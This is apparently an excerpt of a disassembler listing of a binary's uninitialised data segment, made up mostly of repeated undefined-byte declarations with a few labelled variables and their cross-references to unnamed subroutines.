; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_807E300 dd ? ; DATA XREF: sub_805AF5C+24w ; sub_805B010+3w ... dword_807E304 dd ? ; DATA XREF: sub_805B144+Fr ; sub_805B144+18w unk_807E308 db ? ; ; DATA XREF: sub_805DE9C+12Eo ; sub_805DE9C+138o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; byte_807E358 db ? ; DATA XREF: sub_805D3A8+7Co ; sub_805D3A8+1FCo ... db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_807E398 dd ? ; DATA XREF: sub_805CCB0+18r ; sub_805CCB0+4Er ... unk_807E39C db ? ; ; DATA XREF: sub_805E984+1Eo ; sub_805E984+28o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; unk_807E3B0 db ? ; ; DATA XREF: sub_805E9B8+4D6o ; sub_805E9B8+4E0o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; unk_807E3C4 db ? ; ; DATA XREF: sub_805EEA4+F6o ; sub_805EEA4+100o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; unk_807E3D8 db ? ; ; DATA XREF: sub_8060004+5B6o ; sub_8060004+5C0o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; unk_807E3EC db ? ; ; DATA XREF: sub_80605D0+4Ao ; sub_80605D0+54o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; unk_807E400 db ? ; ; DATA XREF: sub_8060630+136o ; sub_8060630+140o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_807E428 dd ? ; DATA XREF: sub_806077C+15w ; sub_806077C+58o ... word_807E42C dw ? ; DATA XREF: sub_806077C+20w byte_807E42E db ? ; DATA XREF: sub_806077C+2Cw db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; unk_807E450 db ? ; ; DATA XREF: sub_8060BD8+18o ; sub_8060BD8+1Do db ? ; db ? 